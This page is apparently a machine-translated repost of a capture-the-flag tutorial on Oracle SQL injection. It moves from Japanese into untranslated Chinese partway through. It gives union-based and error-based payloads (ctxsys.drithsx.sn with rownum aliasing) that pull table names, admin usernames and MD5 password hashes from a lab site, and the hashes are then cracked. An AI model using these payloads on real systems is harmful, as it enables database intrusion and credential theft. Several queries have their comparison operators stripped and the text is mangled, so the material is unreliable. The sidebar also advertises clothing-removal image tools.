検索
ホームページデータベースOracleOracleデータベースインジェクションにおけるエイリアスメソッドの使用の詳細な例

この記事では、Oracle に関する関連知識を提供します。主に、Oracle クエリ情報の基本的なステートメントを含む、Oracle データベース インジェクションにおけるエイリアス メソッドの使用方法の詳細な説明を紹介します。rownum を見てみましょう。特徴など、皆様のお役に立てれば幸いです。

Oracleデータベースインジェクションにおけるエイリアスメソッドの使用の詳細な例

推奨チュートリアル: 「Oracle ビデオ チュートリアル

1. Oracle データベースの概要

Oracle Database。Oracle RDBMS、または略して Oracle とも呼ばれます。このデータベースはオラクル社の製品であり、強力な機能と複雑な操作を備えており、無料で利用できますが、サービスは有料であり、現在、中国の銀行、金融機関、外資系企業などの大企業で一般的に利用されています。ビッグデータ産業。

Oracle の機能の概要:
1. Oracle はクエリ言語を使用して情報を取得するときにテーブル名に従う必要があります。これは Access に似ています。テーブルがない場合は、デュアル テーブルを使用できます。 Dual は Oracle の仮想テーブルです。select の形成に使用される文法規則です。Oracle は、dual には常に 1 つのレコードのみが存在することを保証します。直接クエリすると、Union などのデータをクエリする場合、対応する位置のデータ型のみが表示されます。テーブル内の列のデータ型と一致している必要があります。すぐに推測できないデータ型の位置を NULL を使用して置き換えることもできます。これは SQL Server と同様です。 3. Oracle は mysql とは異なります。ページングに制限はありませんが、ページングの実装には 3 層のクエリ ネストが使用されます; 4. Oracle の単一行のコメント シンボルは複数行のコメント シンボルです;
5. Oracle データベースには次のものが含まれますこれらのシステム テーブルには、user_tab_columns、all_tab_columns、all_tables、user_tables など、システム データベースのテーブル名と列名が格納されます。システム テーブルには、ユーザーのすべてのテーブルと列名が格納されます。ここで、table_name はシステム テーブル名を表し、column_name はシステムに存在する列名;
6. Oracle はスプライシング文字列 (URL 内のエンコーディングを使用して表現) を使用し、関数は 2 つの文字列のスプライシングも実現できます;
7. Oracle では、ライブラリは弱体化され、ユーザーが強化されていますが、この区別は主にユーザーに基づいています。単純に理解すると、現在のユーザー名は他のデータベースのライブラリ名と同等であるということになります。


2. エイリアス方法の紹介

(1) Oracle クエリ情報の基本ステートメント

select * from all_tables クエリall Table
select * from user_tables 現在のユーザーのすべてのテーブルをクエリします
select * from all_tab_columns すべてのフィールドをクエリします
select * from user_tab_columns 現在のユーザーのフィールドを問い合わせます
select * from v$version 現在使用している Oracle のバージョンを確認します

(2) Rownum の特性

Oracle の制限内に存在するため、特定のデータをクエリするには rownum を選択する必要があります。たとえば、最初に次のように入力します。


select * from all_tables
Oracleデータベースインジェクションにおけるエイリアスメソッドの使用の詳細な例 このページでは大量のデータが出力されていますが、そのほとんどは必要なものではないため、最初の 4 つのデータが必要な場合は、ステートメントを次のように変更します。

select * from all_tables where rownum
Oracleデータベースインジェクションにおけるエイリアスメソッドの使用の詳細な例 次に、次のように仮定します。 2 番目のデータのみが必要なので、「where rownum=2?」と入力できます。できません。これは、rownum がテーブルのフィールド名ではなく、クエリ結果の行番号であるためで、クエリに結果があるたびに、最初の行、2 行目、3 行目などがデフォルトになります。このrownumは行番号であり、特定のフィールドに属していないため、rownumは常に1から始まる疑似例であり、rownum>n、n>1の場合は条件が成立しません。この状況では、不等式法とエイリアス法という 2 つの方法を使用できます。
クエリ ステートメントを使用する場合、テーブルの最初の n レコードまたは中間のレコードを返すように要求することがよくあります。たとえば、大きなテーブル (データが 1W 個あると仮定) では、1000 件のレコードをクエリする必要があります。 1005まで。このような問い合わせに直面した場合、私たちは何をすべきでしょうか?各データベースには独自の解決策があります。たとえば、mysql では、結果のページングに limit コマンドが使用され、MSSQL では、結果のページングに TOP が使用され、Oracle では主に rownum コマンドを使用してこの問題を解決しています。 oracleで指定したデータを出力する方法を見てみましょう。

(3) 等しくない方法

オンライン Oracle ドリル プラットフォームに次のコマンドを入力します (現在のユーザーのすべてのフィールドをクエリします):
select* from user_tab_columns
Oracleデータベースインジェクションにおけるエイリアスメソッドの使用の詳細な例
結果には、現在のテーブルと対応するフィールド名がすべて表示されます。ADMIN テーブルの内容のみを表示したい場合は、次のように入力します:
select* from user_tab_columns where table_name= 'ADMIN'
Oracleデータベースインジェクションにおけるエイリアスメソッドの使用の詳細な例
2 番目のデータのみを表示したい場合は、どのように入力すればよいですか?条件 rownum=2 を直接追加することは明らかに不可能です。ここでは、不等式メソッドを使用してクエリを実行できます:
select* from user_tab_columns where table_name='ADMIN' and COLUMN_NAMEUNAME
Oracleデータベースインジェクションにおけるエイリアスメソッドの使用の詳細な例
ここから、不等式法にはデータ量が非常に少ない場合にのみ使用できる欠点があることもわかります。データ量が非常に大きい場合には、以下に紹介するエイリアシング方法を使用する必要があります。

(4) エイリアス メソッド

次のステートメントを見てみましょう:
select column_name,rownum n from user_tab_columns
Oracleデータベースインジェクションにおけるエイリアスメソッドの使用の詳細な例# この文 カラム名クエリを実行すると、クエリ結果は上から順に1から番号が振られます。 ただし、rownum自体はフィールドではないため、ここでは別名をnとします。このように、このクエリ ステートメントの機能は、列名と各列名に対応する行番号をクエリし、行番号を n フィールドに一律に格納することです。
この時点では行番号を格納する新しいフィールド n を作成しましたが、直後に where n=7 などの条件を追加すると機能しないことに注意してください。このステートメントは n の前に実行する必要があるためです。このフィールドは、n フィールドを使用して情報をクエリする場合、このステートメント全体を他のステートメントのサブクエリに入れる必要があります。このようにして、文が実行された後、n フィールドが存在します。フィールドに追加すると、他の文で使用できるようになります。
次に、最初に ADMIN テーブルのフィールドをクエリします。次のように入力します。

select column_name,rownum n from user_tab_columns where table_name='ADMIN'
Oracleデータベースインジェクションにおけるエイリアスメソッドの使用の詳細な例 ここにクエリ結果は 2 つのフィールド名を取得します。行番号は取得したエイリアス n なので、最初のフィールドは実際のフィールド名で、2 番目のフィールドは取得したエイリアス n です。
たとえば、サブクエリの結果は次のようになります:

フィールド名行番号aa1bb2cc 3dd#4

次に、次のように入力します:
select * from subquery where n=2, you can get the data bb. 同様に、どのデータが必要かについては、n を対応する数値に等しくするだけです。
したがって、この文がサブクエリとして記述されており、外部クエリ ステートメントを使用してこのサブクエリの結果をクエリする限り、n=2 と設定して 2 番目のフィールドを取得できるため、次のように入力します。
select * from (select column_name,rownum n from user_tab_columns where table_name='ADMIN')where n=2
Oracleデータベースインジェクションにおけるエイリアスメソッドの使用の詳細な例
2 番目のフィールドのクエリが正常に実行されました。
注: エイリアス メソッドを使用して rownum n に名前を付ける場合、標準的な書き方は rownum as n です。より簡潔にするには、単に rownum n をスペースで区切ります。
フィールドをクエリするときにエイリアス メソッドを使用できますが、テーブル名をクエリするときにも使用できますか?答えは「はい」です。
例:
select table_name,rownum n from user_tables
Oracleデータベースインジェクションにおけるエイリアスメソッドの使用の詳細な例
テーブルのエイリアス化はフィールドのエイリアス化と同じであり、使用法は次のとおりであることがわかります。実際は似ていますが、ここでは詳しく説明しません。


3. 射撃場での実践操作

上記はあくまでも理論的なもので、実際の操作ではそう簡単ではありません。実際の動作範囲を確認してください。
Fengshentai を例に挙げます。アドレスは http://o1.lab.aqlab.cn/?id=1

(1) SQL インジェクション

が射撃に入るかどうかを判断します。範囲、アドレス バーに GET パラメーターがあることを確認して、もちろん、最初に SQL 入力があるかどうかを確認してみます。 # および 1=2、ページ エコーは異常です。
id=1 を id=2-1 に変更すると、ページ エコーは正常になります。
これは、SQL インジェクションが必要であることを意味します。


(2) 現在のページのフィールド数を問い合わせる

実際の戦闘では、対象の Web サイトがどのようなデータベースであるかわかりませんので、なぜそんなに面倒なことをして、MYSQL として扱う必要があるので、ここでは最初にフィールドの数をクエリします:

Enter

order by 1

, ページ エコーは正常です;
Enter order by 5、ページのエコーは異常です;
order by 4、ページのエコーは正常です;
order by 5、ページのエコーを入力してくださいエコーが異常です。
現在のページのフィールドの数が 4 であることを示します。 (3) ジョイント クエリを試してください

id=1 の後に入力してください:

union all select 1,2,3,4

ページが異常にエコーします。データベースは明らかに mysql ではないようなので、数値を null に変更してみてください:

union all select null,null,null,null from dual
ページ エコーは正常です。ターゲット データベースには非常に厳密な文法要件があるようです。次に、4 つのフィールドのデータ型を確認しましょう。

union all select 111,null,null,null from dual
と入力します。ページは通常の結果を返し、最初のフィールドが数値型であることを示します。 ctrl u を押して Web ページのソース コードを表示し、111 を検索します。明らかな位置ずれはありません。

現在のページでエラーが報告されるようにして、表示のずれがあるかどうかを確認します。

and 1=2 union all select 111,null,null,null from dual
明らかな表示のずれは見られません。
入力を続けます:
and 1=2 union all select 111,111,null,null from dual

ページは、2 番目のフィールドが数値型ではないことを示す例外を返します。
入力を続けます:

and 1=2 union all select 111,'aa',null,null from dual

ページは、2 番目のフィールドが文字列型ではないことを示す例外を返します。
実はOracleデータベースには数値、文字列、日付、バイナリ、大きなテキストなど多くのデータ型があり、さらに細分化された型もいくつかありますが、一つ一つ試すのはかなり面倒なので省略させていただきます。ここ。

3 番目のフィールドも同様で、数値でも文字列でもないことがわかり、明らかなずれはありません。

4 番目のフィールドのクエリを続けます:

and 1=2 union all select 111,null,null,111111 from dual

ページに新しい時間が表示されていることがわかります。

このような時刻を見たときは、タイムスタンプについて考える必要があります。コンピューターは 1970 年 1 月 1 日の 8 時から秒のカウントを開始するためです。

(4) クエリ テーブル名

エラー挿入関数を使用して情報をクエリするには、次のように入力します。

and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))

注: エラー挿入は、テーブルではなく文字列のみを返すことができます。したがって、最後には rownum=1 という制限があり、データは 1 行だけ取​​得されます。また、関数の大括弧内の 1 は、数値または文字列のいずれかに置き換えることができます。 。

テーブル名を取得します
ADMIN
続けて入力します:

and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name'ADMIN'))

2 番目のテーブル名を取得します ## #ニュース###。 次に、他のテーブルにクエリを実行する場合は、引き続き不等式メソッドを使用することはできません。代わりに、上記のエイリアス メソッドを使用して基本的なステートメントを構築し、n の値を変更してテーブルの名前を決定する必要があります。まだクエリされていません:

and 1=ctxsys.drithsx.sn(1,(select table_name from (select table_name,rownum n from user_tables )where n =3))

現在のユーザーを決定するための最終テーブルは次のとおりです: ADMIN、NEWS、MD5

(五)查询字段名

接下来查询字段,ADMIN表显然更可能有我们想要查询的信息,因此先查询ADMIN表的内容,输入:

and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=1))


得到第一个字段名为:UNAME
把n改为2继续输入:

and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=2))


得到第二个字段为UPASS
把n改为3,继续输入:

and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=3))


得到第三个字段为MD5
把n改为4,继续输入:

and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=4))

没有结果了。可见ADMIN表中的字段为:UNAME、UPASS、MD5

(六)根据字段查询具体数据

字段和表名都有了,接下来查询具体的数据,为了方便,还是用别名法来查询:

and 1=ctxsys.drithsx.sn(1,(select UNAME from (select UNAME,rownum as n from ADMIN) where n=1))

注意报错函数的特殊性,因此这里不能用*来代替UNAME。
通过改变n的值可以得到UNAME中的全部用户名为:OCI、NF、QQ123。
用同样的方法继续查询UPASS字段的内容,输入:

and 1=ctxsys.drithsx.sn(1,(select UPASS from (select UPASS,rownum as n from ADMIN) where n=1))

改变n的值可以得到UPASS字段的三条记录分别为:
e10adc3949ba59abbe56e057f20f883e
2a61f8bcfe7535eadcfa69eb4406ceb9
654321
在cmd5.com中解密后结果分别为:
123456、未查到、654321

(七)提交flag

把每个md5值都提交到靶场,最终确定flag为:
2a61f8bcfe7535eadcfa69eb4406ceb9


四、小结

渗透测试人员在进行数据库注入时,总是会遇到查询指定数据的问题,对于不同的数据库虽然查询方法大同小异,但是很多细节如果没有搞好是很难完成渗透的,这就需要每一位渗透测试人员夯实理论基础,掌握每一种常用的方法,在面临实际问题的时候才能游刃有余。

本文重点介绍了Oracle数据库的特点以及注入时常用的别名法,分享了别名法在靶场中实操的过程,并分享了一个在线执行Oracle命令的平台希望能够为各位同行或爱好者解决相关问题提供参考。

推荐教程:《Oracle视频教程

以上がOracleデータベースインジェクションにおけるエイリアスメソッドの使用の詳細な例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明
この記事はCSDNで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。
MySQLとOracle:機能と機能の重要な違いMySQLとOracle:機能と機能の重要な違いApr 18, 2025 am 12:15 AM

MySQLとOracleには、パフォーマンス、スケーラビリティ、セキュリティに利点があります。 1)パフォーマンス:MySQLは読み取り操作と高い並行性に適しており、Oracleは複雑なクエリとビッグデータ処理に優れています。 2)スケーラビリティ:MySQLはマスタースレーブの複製とシャードを通じて拡張され、OracleはRACを使用して高可用性と負荷分散を提供します。 3)セキュリティ:MySQLはきめ細かい許可制御を提供しますが、Oracleにはより包括的なセキュリティ機能と自動化ツールがあります。

Oracle:データベース管理のパワーハウスOracle:データベース管理のパワーハウスApr 17, 2025 am 12:14 AM

Oracleは、高性能、信頼性、セキュリティのために、データベース管理の「パワーハウス」と呼ばれています。 1。Oracleは、複数のオペレーティングシステムをサポートするリレーショナルデータベース管理システムです。 2.スケーラビリティ、セキュリティ、高可用性を備えた強力なデータ管理プラットフォームを提供します。 3。Oracleの作業原則には、データストレージ、クエリ処理、トランザクション管理が含まれ、インデックス作成、パーティション化、キャッシュなどのパフォーマンス最適化テクノロジーをサポートします。 4.使用の例には、テーブルの作成、データの挿入、ストアドプロシージャの書き込みが含まれます。 5.パフォーマンス最適化戦略には、インデックス最適化、パーティションテーブル、キャッシュ管理、クエリ最適化が含まれます。

オラクルは何を提供しますか?製品とサービスが説明しましたオラクルは何を提供しますか?製品とサービスが説明しましたApr 16, 2025 am 12:03 AM

OracleOfferScolreansiveSiveSiveOfProductsandServicesIncludingDatabaseManagement、CloudComputing、Enterpriseoftware、AndhardWaresolutions.1)OracLedatabaseSupportswithipersiveManagementFeatures.2)Oraclecloudinfrastrutrutruture(oci)は

Oracleソフトウェア:データベースからクラウドまでOracleソフトウェア:データベースからクラウドまでApr 15, 2025 am 12:09 AM

データベースからクラウドコンピューティングへのOracleソフトウェアの開発履歴には、次のものが含まれます。1。1977年に発信され、当初はリレーショナルデータベース管理システム(RDBMS)に焦点を当て、すぐにエンタープライズレベルのアプリケーションの最初の選択肢になりました。 2。ミドルウェア、開発ツール、ERPシステムに拡張して、エンタープライズソリューションの完全なセットを形成します。 3。OracleデータベースはSQLをサポートし、小規模から大規模なエンタープライズシステムに適した高性能とスケーラビリティを提供します。 4.クラウドコンピューティングサービスの台頭により、Oracleの製品ラインがさらに拡大し、必要な企業のあらゆる側面を満たしています。

MySQL対Oracle:長所と短所MySQL対Oracle:長所と短所Apr 14, 2025 am 12:01 AM

MySQLおよびOracleの選択は、コスト、パフォーマンス、複雑さ、および機能的要件に基づいている必要があります。1。MySQLは、予算が限られているプロジェクトに適しており、インストールが簡単で、中小サイズのアプリケーションに適しています。 2。Oracleは大規模な企業に適しており、大規模なデータと高い並行リクエストの処理に優れたパフォーマンスを発揮しますが、構成はコストと複雑です。

Oracleの目的:ビジネスソリューションとデータ管理Oracleの目的:ビジネスソリューションとデータ管理Apr 13, 2025 am 12:02 AM

Oracleは、企業が製品とサービスを通じてデジタル変革とデータ管理を達成するのを支援します。 1)Oracleは、データベース管理システム、ERP、CRMシステムなどの包括的な製品ポートフォリオを提供し、企業がビジネスプロセスを自動化および最適化するのを支援します。 2)E-BusinessSuiteやFusionApplicationsなどのOracleのERPシステムは、エンドツーエンドのビジネスプロセスの自動化を実現し、効率を改善し、コストを削減しますが、実装とメンテナンスコストが高くなります。 3)OracLedatabaseは、高い並行性と高可用性データ処理を提供しますが、ライセンスコストが高くなります。 4)パフォーマンスの最適化とベストプラクティスには、インデックス作成と分割技術の合理的な使用、定期的なデータベースのメンテナンス、コーディング仕様のコンプライアンスが含まれます。

Oracle Libraryの故障を削除する方法Oracle Libraryの故障を削除する方法Apr 12, 2025 am 06:21 AM

Oracleがライブラリの構築に失敗した後、失敗したデータベースを削除する手順:SYSユーザー名を使用してターゲットインスタンスに接続します。ドロップデータベースを使用して、データベースを削除します。クエリv $データベースデータベースが削除されていることを確認します。

Oracle Loopでカーソルを作成する方法Oracle Loopでカーソルを作成する方法Apr 12, 2025 am 06:18 AM

Oracleでは、forループループは動的にカーソルを作成できます。手順は次のとおりです。1。カーソルタイプを定義します。 2。ループを作成します。 3.カーソルを動的に作成します。 4。カーソルを実行します。 5。カーソルを閉じます。例:カーソルをサイクルごとに作成して、上位10人の従業員の名前と給与を表示できます。

See all articles

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

AtomエディタMac版ダウンロード

AtomエディタMac版ダウンロード

最も人気のあるオープンソースエディター

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

DVWA

DVWA

Damn Vulnerable Web App (DVWA) は、非常に脆弱な PHP/MySQL Web アプリケーションです。その主な目的は、セキュリティ専門家が法的環境でスキルとツールをテストするのに役立ち、Web 開発者が Web アプリケーションを保護するプロセスをより深く理解できるようにし、教師/生徒が教室環境で Web アプリケーションを教え/学習できるようにすることです。安全。 DVWA の目標は、シンプルでわかりやすいインターフェイスを通じて、さまざまな難易度で最も一般的な Web 脆弱性のいくつかを実践することです。このソフトウェアは、